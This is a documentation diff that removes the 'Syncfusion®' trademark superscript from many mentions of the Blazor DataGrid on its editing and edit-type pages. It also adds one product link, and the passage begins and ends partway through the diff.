+The Blazor DataGrid provides built-in editors to streamline data editing and input handling within the grid. These editors automatically apply based on the column's data type, reducing the need for manual configuration. The [EditType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.EditType.html) property can be used to specify the desired editor for each column.
 The available default edit types include:
 
 | Component                                                                                      | Edit Type Value      | Description                                                                                                   |
@@ -39,7 +39,7 @@ The available default edit types include:
 
 ## Customizing the default editors
 
-The behavior of default editors in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using the [EditorSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) property of the [GridColumn](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.Grids.GridColumn.html)component.
+The behavior of default editors in the Blazor DataGrid can be customized using the [EditorSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) property of the [GridColumn](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.Grids.GridColumn.html)component.
 
 > * The properties that can be customized through `EditorSettings` in default Grid editors are limited. Refer to the related topics below for a list of supported properties.
 > * To apply additional customizations beyond the supported properties, refer to the [Template Editing](https://blazor.syncfusion.com/documentation/datagrid/template-editing) documentation for rendering custom components within the edit form.
@@ -447,7 +447,7 @@ public class OrderData
 
 ### Provide custom data source for DropDownList
 
-In the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, a custom data source can be assigned to the [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) used in the edit form. This approach enables the definition of a specific set of values for the `SfDropDownList`, allowing precise control over the available options.
+In the Blazor DataGrid, a custom data source can be assigned to the [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) used in the edit form. This approach enables the definition of a specific set of values for the `SfDropDownList`, allowing precise control over the available options.
 
 To configure a custom data source, use the [EditorSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditorSettings) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). Additional configurations, such as filtering or querying the data, can be applied using the [Query](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListModel-2.html#Syncfusion_Blazor_DropDowns_DropDownListModel_2_Query) property.
 
@@ -546,7 +546,7 @@ public class OrderData
 
 ### Apply filtering for DropDownList
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports filtering in the [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) used within the edit form. This feature enables selection from a predefined list with the ability to search for specific items using built-in filtering functionality.
+The Blazor DataGrid supports filtering in the [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) used within the edit form. This feature enables selection from a predefined list with the ability to search for specific items using built-in filtering functionality.
 
 To enable filtering, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowFiltering) property to **true** within the [DropDownEditCellParams](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.DropDownEditCellParams.html). This activates the filtering capability in the `SfDropDownList`.
 
@@ -1063,13 +1063,13 @@ The table below outlines key aspects of customizing a `SfDateTimePicker` using t
  
 ## Render custom cell editors
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering custom cell editors for specific columns. This feature is useful when custom components are required to handle data editing within a Grid column. To implement this functionality, use the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component.
+The Blazor DataGrid supports rendering custom cell editors for specific columns. This feature is useful when custom components are required to handle data editing within a Grid column. To implement this functionality, use the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component.
 
 > Custom components used within the `EditTemplate` must implement two-way binding using (**@bind-Value**) to ensure that changes are reflected in the Grid.
 
 ### Render TextArea in EditTemplate 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfTextArea](https://blazor.syncfusion.com/documentation/textarea/getting-started-webapp) within the Grid's edit form for specific columns. This functionality is useful for editing and displaying multi-line text content, providing an efficient way to manage extensive text data within Grid cells.
+The Blazor DataGrid supports rendering a [SfTextArea](https://blazor.syncfusion.com/documentation/textarea/getting-started-webapp) within the Grid's edit form for specific columns. This functionality is useful for editing and displaying multi-line text content, providing an efficient way to manage extensive text data within Grid cells.
 
 To render a `SfTextArea` in the edit form, define an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` property specifies the cell edit template used as an editor for the column and accepts either a template string or an HTML element ID.
 
@@ -1239,7 +1239,7 @@ function editKeyDown(id) {
 
 ### Render AutoComplete in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering an [SfAutoComplete](https://blazor.syncfusion.com/documentation/autocomplete/getting-started-with-web-app) component within the Grid's edit form for specific columns. This feature is useful for providing dropdown-style auto-suggestions and input assistance during data entry.
+The Blazor DataGrid supports rendering an [SfAutoComplete](https://blazor.syncfusion.com/documentation/autocomplete/getting-started-with-web-app) component within the Grid's edit form for specific columns. This feature is useful for providing dropdown-style auto-suggestions and input assistance during data entry.
 
 To render an `SfAutoComplete` in the edit form, define an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` property specifies the cell edit template used as an editor for the column and accepts either a template string or an HTML element ID.
 
@@ -1339,7 +1339,7 @@ public class OrderData
 
 ### Render MaskedTextBox in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfMaskedTextBox](https://blazor.syncfusion.com/documentation/input-mask/getting-started-with-web-app) within the Grid's edit form for specific columns. This feature is useful for enforcing input formats such as phone numbers, postal codes, or other structured data.
+The Blazor DataGrid supports rendering a [SfMaskedTextBox](https://blazor.syncfusion.com/documentation/input-mask/getting-started-with-web-app) within the Grid's edit form for specific columns. This feature is useful for enforcing input formats such as phone numbers, postal codes, or other structured data.
 
 To render a `SfMaskedTextBox` in the edit form, define an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` property specifies the cell edit template used as an editor for the column and accepts either a template string or an HTML element ID.
 
@@ -1439,7 +1439,7 @@ To render a `SfMaskedTextBox` in the edit form, define an [EditTemplate](https:/
 
 ### Render DropDownList in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) within the Grid’s edit form for specific columns. This feature provides a convenient way to select values from a predefined list during data entry.
+The Blazor DataGrid supports rendering a [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) within the Grid’s edit form for specific columns. This feature provides a convenient way to select values from a predefined list during data entry.
 
 To render a `SfDropDownList` in the edit form, define an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` property specifies the cell edit template used as an editor for the column and accepts either a template string or an HTML element ID.
 
@@ -1552,7 +1552,7 @@ public class OrderData
 
 ### Render images in the DropDownList editor using the ItemTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering images within the [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) editor. This feature enhances the visual representation of dropdown items by displaying images alongside text values.
+The Blazor DataGrid supports rendering images within the [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) editor. This feature enhances the visual representation of dropdown items by displaying images alongside text values.
 
 To render a `SfDropDownList` in the edit form, define an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` property specifies the cell edit template used as an editor for the column and accepts either a template string or an HTML element ID.
 
@@ -1723,7 +1723,7 @@ public class EmployeeData
 
 ### Render multiple columns in DropDownList
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) within the Grid's edit form for specific columns. This feature is useful for displaying detailed information for each item in the dropdown, such as multiple fields from a data source.
+The Blazor DataGrid supports rendering a [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) within the Grid's edit form for specific columns. This feature is useful for displaying detailed information for each item in the dropdown, such as multiple fields from a data source.
 
 To render a `SfDropDownList` in the edit form, define an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) for the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` property specifies the cell edit template used as an editor for the column and accepts either a template string or an HTML element ID.
 
@@ -1861,7 +1861,7 @@ public class OrderData
 
 ### Render ComboBox in EditTemplate 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfComboBox](https://blazor.syncfusion.com/documentation/combobox/getting-started-with-web-app) inside the edit form of a specific column. This functionality is useful when a drop-down selection with auto-complete suggestions is required for efficient data entry.
+The Blazor DataGrid supports rendering a [SfComboBox](https://blazor.syncfusion.com/documentation/combobox/getting-started-with-web-app) inside the edit form of a specific column. This functionality is useful when a drop-down selection with auto-complete suggestions is required for efficient data entry.
 
 To use a `SfComboBox` in the edit form, configure the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` allows customization of the cell editor for a column.
 
@@ -1975,7 +1975,7 @@ public class OrderData
 
 ### Render NumericTextBox in EditTemplate 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfNumericTextBox](https://blazor.syncfusion.com/documentation/numeric-textbox/getting-started-webapp) inside the edit form of a specific column. This feature is useful when numeric input is required, with support for formatting, increment/decrement controls, and validation.
+The Blazor DataGrid supports rendering a [SfNumericTextBox](https://blazor.syncfusion.com/documentation/numeric-textbox/getting-started-webapp) inside the edit form of a specific column. This feature is useful when numeric input is required, with support for formatting, increment/decrement controls, and validation.
 
 To use a `SfNumericTextBox` in the edit form, configure the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` allows customization of the cell editor for a column and accepts a Razor template.
 
@@ -2075,7 +2075,7 @@ public class OrderData
 
 ### Render TimePicker in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows you to render a [SfTimePicker](https://blazor.syncfusion.com/documentation/timepicker/getting-started-webapp) within the Grid’s edit form for a specific column. This feature is especially valuable when you need to provide a time input, such as appointment times, event schedules, or any other time-related data for editing in the Grid.
+The Blazor DataGrid allows you to render a [SfTimePicker](https://blazor.syncfusion.com/documentation/timepicker/getting-started-webapp) within the Grid’s edit form for a specific column. This feature is especially valuable when you need to provide a time input, such as appointment times, event schedules, or any other time-related data for editing in the Grid.
 
 To render a `SfTimePicker` in the edit form, you need to define an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` property specifies the cell edit template that is used as an editor for a particular column. It can accept either a template string or an HTML element ID.
 
@@ -2176,7 +2176,7 @@ public class OrderData
 
 ### Render MultiSelect DropDown in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfMultiSelect](https://blazor.syncfusion.com/documentation/multiselect-dropdown/getting-started-webapp) inside the edit form of a specific column. This feature is useful when multiple selections are required, such as assigning multiple tags, categories, or cities.
+The Blazor DataGrid supports rendering a [SfMultiSelect](https://blazor.syncfusion.com/documentation/multiselect-dropdown/getting-started-webapp) inside the edit form of a specific column. This feature is useful when multiple selections are required, such as assigning multiple tags, categories, or cities.
 
 To use a `SfMultiSelect` in the edit form, configure the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` allows customization of the cell editor for a column and accepts a Razor template.
 
@@ -2302,7 +2302,7 @@ public class OrderData
 
 ### Render RichTextEditor in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [SfRichTextEditor](https://blazor.syncfusion.com/documentation/rich-text-editor/getting-started-webapp) inside the edit form of a specific column. This feature is useful when formatted text input is required, such as for addresses, comments, or descriptions.
+The Blazor DataGrid supports rendering a [SfRichTextEditor](https://blazor.syncfusion.com/documentation/rich-text-editor/getting-started-webapp) inside the edit form of a specific column. This feature is useful when formatted text input is required, such as for addresses, comments, or descriptions.
 
 To use a `SfRichTextEditor` in the edit form, configure the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The EditTemplate allows customization of the cell editor for a column and accepts a Razor template.
 
@@ -2403,7 +2403,7 @@ public class OrderData
 
 ### Render Uploader in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering an [SfUpload](https://blazor.syncfusion.com/documentation/file-upload/getting-started-with-web-app) component inside the edit form of a specific column. This feature is useful when file or image uploads are required during data editing.
+The Blazor DataGrid supports rendering an [SfUpload](https://blazor.syncfusion.com/documentation/file-upload/getting-started-with-web-app) component inside the edit form of a specific column. This feature is useful when file or image uploads are required during data editing.
 
 To use an `SfUpload` in the edit form, configure the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` allows customization of the cell editor for a column and accepts a Razor template.
 
@@ -2541,7 +2541,7 @@ To use an `SfUpload` in the edit form, configure the [EditTemplate](https://help
 
 ### Render cascading DropDownList in EditTemplate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering cascading DropDownLists inside the edit form of specific columns. This functionality is useful for hierarchical selections, such as choosing a country followed by a state based on the selected country.
+The Blazor DataGrid supports rendering cascading DropDownLists inside the edit form of specific columns. This functionality is useful for hierarchical selections, such as choosing a country followed by a state based on the selected country.
 
 To implement cascading DropDownLists in Grid editing, configure the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). The `EditTemplate` allows customization of the cell editor for a column and accepts a Razor template.
 
diff --git a/blazor/datagrid/editing.md b/blazor/datagrid/editing.md
index 10256313bf..33ebd47f6a 100644
--- a/blazor/datagrid/editing.md
+++ b/blazor/datagrid/editing.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Editing in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides powerful options for dynamically inserting, deleting, and updating records, enabling to modify data directly within the Grid. This feature is useful for performing CRUD (Create, Read, Update and Delete) operations seamlessly.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides powerful options for dynamically inserting, deleting, and updating records, enabling to modify data directly within the Grid. This feature is useful for performing CRUD (Create, Read, Update and Delete) operations seamlessly.
 
 To enable editing functionality directly within the Grid, editing requires configure the [AllowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_AllowEditing), [AllowAdding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_AllowAdding), and [AllowDeleting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_AllowDeleting) properties within the [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) to **true**.
 
@@ -112,7 +112,7 @@ public class OrderData
 
 ## Toolbar with edit option
 
-The toolbar editing feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a [built-in toolbar](https://blazor.syncfusion.com/documentation/datagrid/toolbar-items#built-in-toolbar-item) that includes predefined items for executing editing actions. This functionality enables efficient modification of Grid data, including updating cell values, saving changes, and canceling edits.
+The toolbar editing feature in the Blazor DataGrid provides a [built-in toolbar](https://blazor.syncfusion.com/documentation/datagrid/toolbar-items#built-in-toolbar-item) that includes predefined items for executing editing actions. This functionality enables efficient modification of Grid data, including updating cell values, saving changes, and canceling edits.
 To activate this feature, configure the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property of the Grid. This property defines the items displayed in the Grid toolbar. Including items such as **Edit**, **Add**, **Delete**, **Update**, and **Cancel** within the `Toolbar` property enables the corresponding editing actions.
 
 {% tabs %}
@@ -200,7 +200,7 @@ To activate this feature, configure the [Toolbar](https://help.syncfusion.com/cr
 
 ## Disable editing for particular column
 
-In the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, editing can be selectively disabled for individual columns. This capability is particularly useful for columns that contain calculated values or read-only data.
+In the Blazor DataGrid, editing can be selectively disabled for individual columns. This capability is particularly useful for columns that contain calculated values or read-only data.
 To disable editing for a specific column, configure the [AllowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowEditing) property of the [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) object. Setting this property to **false** prevents editing for the targeted column.
 
 > When the [AllowAdding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowAdding)  property is configured at the column level, it prevents value insertion into that specific column.
@@ -325,7 +325,7 @@ public class OrderData
 
 ## Editing template column
 
-The editing template column feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables the creation of custom editing templates for specific columns. This functionality is particularly beneficial for customizing the editing experience, such as integrating custom input controls or displaying additional contextual information during editing.
+The editing template column feature in the Blazor DataGrid enables the creation of custom editing templates for specific columns. This functionality is particularly beneficial for customizing the editing experience, such as integrating custom input controls or displaying additional contextual information during editing.
 
 To enable this functionality, set the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) property for the target column in the Grid configuration. The `Field` property associates the column with the corresponding field in the data source, allowing value editing for that field.
 
@@ -425,7 +425,7 @@ public class OrderData
 
 ## Customize delete confirmation dialog
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid includes a built-in delete confirmation dialog that prompts before removing a record. This confirmation step helps prevent accidental deletions by requiring explicit acknowledgment before the action is completed.
+The Blazor DataGrid includes a built-in delete confirmation dialog that prompts before removing a record. This confirmation step helps prevent accidental deletions by requiring explicit acknowledgment before the action is completed.
 
 To enable the default confirmation dialog, set the [ShowDeleteConfirmDialog](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_ShowDeleteConfirmDialog) property to **true** in the `GridEditSettings`. This displays a standard dialog when a delete action is triggered.
 
@@ -580,7 +580,7 @@ public class OrderData
 
 ## Update boolean column value with a single click
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports updating boolean column values with a single click in normal editing mode. This feature streamlines the process of toggling boolean values directly within the Grid, improving interaction efficiency.
+The Blazor DataGrid supports updating boolean column values with a single click in normal editing mode. This feature streamlines the process of toggling boolean values directly within the Grid, improving interaction efficiency.
 
 This behavior can be achieved using the [column template](https://blazor.syncfusion.com/documentation/datagrid/column-template) feature. The column template allows custom UI elements, such as checkboxes, to be rendered for specific columns. By configuring the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property, a checkbox can be rendered in the desired column, and its change event can be handled to update the value with a single click.
 
@@ -680,7 +680,7 @@ public class OrderData
 
 ## Edit enum column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a feature for editing enum-type data within a Grid column, making it particularly useful for efficiently managing enumerated list data.
+The Blazor DataGrid provides a feature for editing enum-type data within a Grid column, making it particularly useful for efficiently managing enumerated list data.
 
 In the example below, the [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) is used within the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) for the **Employee Feedback** column. The enumerated list data is bound to the **Employee Feedback** column using two-way binding (@bind-Value).
 
@@ -748,7 +748,7 @@ In the example below, the [DropDownList](https://blazor.syncfusion.com/documenta
 
 ## Edit complex column
 
-The [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) feature for complex columns in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables customization of the editing experience when working with nested data structures. Before performing CRUD operations involving complex objects, refer to the [Complex Data Binding](https://blazor.syncfusion.com/documentation/datagrid/column-rendering#complex-data-generation) documentation.
+The [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) feature for complex columns in the Blazor DataGrid enables customization of the editing experience when working with nested data structures. Before performing CRUD operations involving complex objects, refer to the [Complex Data Binding](https://blazor.syncfusion.com/documentation/datagrid/column-rendering#complex-data-generation) documentation.
 To customize the default EditForm input component, define an `EditTemplate` within the GridColumn for the complex field. Two-way binding (**@bind-Value**) can be used inside the `EditTemplate` to reflect changes in the DataGrid.
 For proper focus management and validation, the `ID` attribute of input elements inside the `EditTemplate` must match the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) value of the corresponding GridColumn. When referencing complex fields, use a double underscore **(__)** instead of the dot **(.)** operator. For example, if the field is **Name.FirstName**, the `ID` should be defined as **Name__FirstName**.
 
@@ -841,7 +841,7 @@ In the following example, input elements are rendered in the edit templates of t
 
 ## Edit foreign key column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides advanced editing support for foreign key columns, enhancing the default rendering of the [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) during edit operations. This flexibility is particularly beneficial when customizing the editor for foreign key fields.
+The Blazor DataGrid provides advanced editing support for foreign key columns, enhancing the default rendering of the [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) during edit operations. This flexibility is particularly beneficial when customizing the editor for foreign key fields.
 By default, the Grid renders a `DropDownList` as the editor for foreign key columns. To override this behavior, configure the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the GridColumn. The `EditTemplate` allows specification of a cell edit template, which can be defined using either a template string or an HTML element ID.
 
 {% tabs %}
@@ -997,11 +997,11 @@ By default, the Grid renders a `DropDownList` as the editor for foreign key colu
 
 ## How to perform CRUD action externally
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports external execution of CRUD (Create, Read, Update, and Delete) operations, allowing manipulation of Grid data outside the Grid interface. This approach is particularly beneficial in scenarios that require programmatic control over data operations.
+The Blazor DataGrid supports external execution of CRUD (Create, Read, Update, and Delete) operations, allowing manipulation of Grid data outside the Grid interface. This approach is particularly beneficial in scenarios that require programmatic control over data operations.
 
 ### Using separate toolbar
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports external CRUD operations, enabling efficient data manipulation through a separate toolbar. This capability is particularly beneficial when data operations are managed programmatically outside the Grid's built-in UI.
+The Blazor DataGrid supports external CRUD operations, enabling efficient data manipulation through a separate toolbar. This capability is particularly beneficial when data operations are managed programmatically outside the Grid's built-in UI.
 
 * [AddRecordAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AddRecordAsync) - Adds a new record. If no data is passed, the add form is displayed.
 * [StartEditAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_StartEditAsync) - Initiates editing for the selected row.
@@ -1134,7 +1134,7 @@ public class OrderData
 
 ### Using external form
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports editing operations through a custom external form, allowing customization of the editing experience outside the default in-Grid editing interface.
+The Blazor DataGrid supports editing operations through a custom external form, allowing customization of the editing experience outside the default in-Grid editing interface.
 
 To enable external form editing, configure the [RowSelected](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowSelected) event. This event triggers the edit operation when a row is selected, enabling integration with a separate form component.
 
@@ -1330,11 +1330,11 @@ public class OrderData
 
 ## Troubleshoot editing works only for first row
 
-Editing operations in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid rely on the primary key value of the selected row. If the [IsPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_IsPrimaryKey) property is not defined, edit or delete actions will consistently target the first row. To resolve this issue, ensure that the `IsPrimaryKey` property is set to **true** for the column that uniquely identifies each row.
+Editing operations in the Blazor DataGrid rely on the primary key value of the selected row. If the [IsPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_IsPrimaryKey) property is not defined, edit or delete actions will consistently target the first row. To resolve this issue, ensure that the `IsPrimaryKey` property is set to **true** for the column that uniquely identifies each row.
  
 ## How to make a Blazor DataGrid column always editable
 
-To configure a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid column for continuous editing, use the column template feature. This approach is particularly effective for enabling direct editing of specific column values within the Grid.
+To configure a Blazor DataGrid column for continuous editing, use the column template feature. This approach is particularly effective for enabling direct editing of specific column values within the Grid.
 In the following example, the [SfTextBox](https://blazor.syncfusion.com/documentation/textbox/getting-started-webapp) component is rendered in the **Freight** column using a column template. Edited changes are saved to the data source using two-way binding (**@bind-Value**) of the `SfTextBox`.
 
 {% tabs %}
@@ -1430,7 +1430,7 @@ public class OrderData
 
 ## Event trace while editing
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides granular control over editing workflows through dedicated events. These events enable monitoring and customization of actions such as editing, adding, deleting, and updating rows.
+The Blazor DataGrid provides granular control over editing workflows through dedicated events. These events enable monitoring and customization of actions such as editing, adding, deleting, and updating rows.
 
 Each editing operation in the Grid triggers specific events. The following table outlines the available events and their descriptions:
 
@@ -1600,7 +1600,7 @@ public class OrderData
 
 ## Perform CRUD operation using Blazor DataGrid events
 
